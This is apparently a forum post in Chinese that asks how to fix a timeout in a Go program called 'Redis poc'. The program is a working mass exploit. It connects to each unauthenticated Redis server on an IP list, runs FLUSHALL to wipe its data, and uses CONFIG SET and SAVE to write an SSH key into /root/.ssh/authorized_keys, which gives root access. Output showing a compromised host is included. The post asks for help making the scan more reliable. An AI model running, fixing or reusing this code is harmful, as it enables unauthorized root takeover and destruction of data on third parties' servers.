请教大大这个程序该怎么修改才不会因为超时退出？

```go package main import ( "bufio" "bytes" "fmt" "gopkg.in/redis.v3" "log" "os" "runtime" "strings" "time" ) const rsa_key = "\n\n ssh-rsa \n\n" // HostInfo struct type HostInfo struct { host string port string reply string is_vul bool } // help function func Usage(cmd string) { fmt.Println(strings.Repeat("-", 50)) fmt.Println("Redis poc") fmt.Println("Usage:") fmt.Printf("%s iplist \n", cmd) fmt.Println(strings.Repeat("-", 50)) } // main function func main() { runtime.GOMAXPROCS(runtime.NumCPU()) if len(os.Args) != 2 { Usage(os.Args[0]) } else { Usage(os.Args[0]) iplist := os.Args[1] Scan(Prepare(iplist)) } } // read line from file and Scan func Prepare(iplist string) (slice_iplist []string) { iplistFile, _ := os.Open(iplist) defer iplistFile.Close() scanner := bufio.NewScanner(iplistFile) scanner.Split(bufio.ScanLines) for scanner.Scan() { slice_iplist = append(slice_iplist, scanner.Text()) } return slice_iplist } //Test connect function func TestConnect(host_info HostInfo, chan_result chan HostInfo) { host := host_info.host port := host_info.port reply := host_info.reply is_vul := false var buf bytes.Buffer logger := log.New(&buf, "logger: ", log.Ldate) client := redis.NewClient(&redis.Options{ Addr: host + ":" + port, Password: "", // no password set DB: 0, // use default DB }) _, err := client.Ping().Result() if err == nil { is_vul = true logger.Println(client.ConfigSet("dbfilename", "xsec.rdb").String()) logger.Println(client.Save().String()) logger.Println(client.FlushAll().String()) client.Set("xsec", rsa_key, 0) logger.Println(client.ConfigSet("dir", "/root/.ssh/").String()) logger.Println(client.ConfigGet("dir").String()) reply = client.ConfigSet("dbfilename", "authorized_keys").String() logger.Println(reply) logger.Println(client.Save().String()) fmt.Println(&buf) } host_info.is_vul = is_vul host_info.reply = reply chan_result <- host_info } // Scan function func Scan(slice_iplist []string) { n := len(slice_iplist) chan_scan_result := make(chan HostInfo, n) done := make(chan bool, n) for _, host_port := range slice_iplist { // fmt.Printf("Try to connect %s\n", host_port) t := strings.Split(host_port, ":") host := t[0] port := t[1] host_info := HostInfo{host, port, "", false} go TestConnect(host_info, chan_scan_result) for runtime.NumGoroutine() > runtime.NumCPU()*200 { time.Sleep(10 * time.Microsecond) } } go func() { for i := 0; i < cap(chan_scan_result); i++ { select { case r := <-chan_scan_result: if r.is_vul { fmt.Printf("%s:%s is vulnerability, get root's reply: %s\n", r.host, r.port, r.reply) } case <-time.After(60 * time.Second): fmt.Println("timeout") break } done <- true } }() for i := 0; i < cap(done); i++ { <-done } } ``` 目前问题是：timeout之后就结束任务了，我想知道修改哪里可以实现，遇到无法连接的IP就跳过继续执行下一个IP？ ``` 192.168.1.150:6379 is vulnerability, get root's reply: CONFIG SET dbfilename authorized_keys: OK timeout timeout [root@CentOS ~]# ```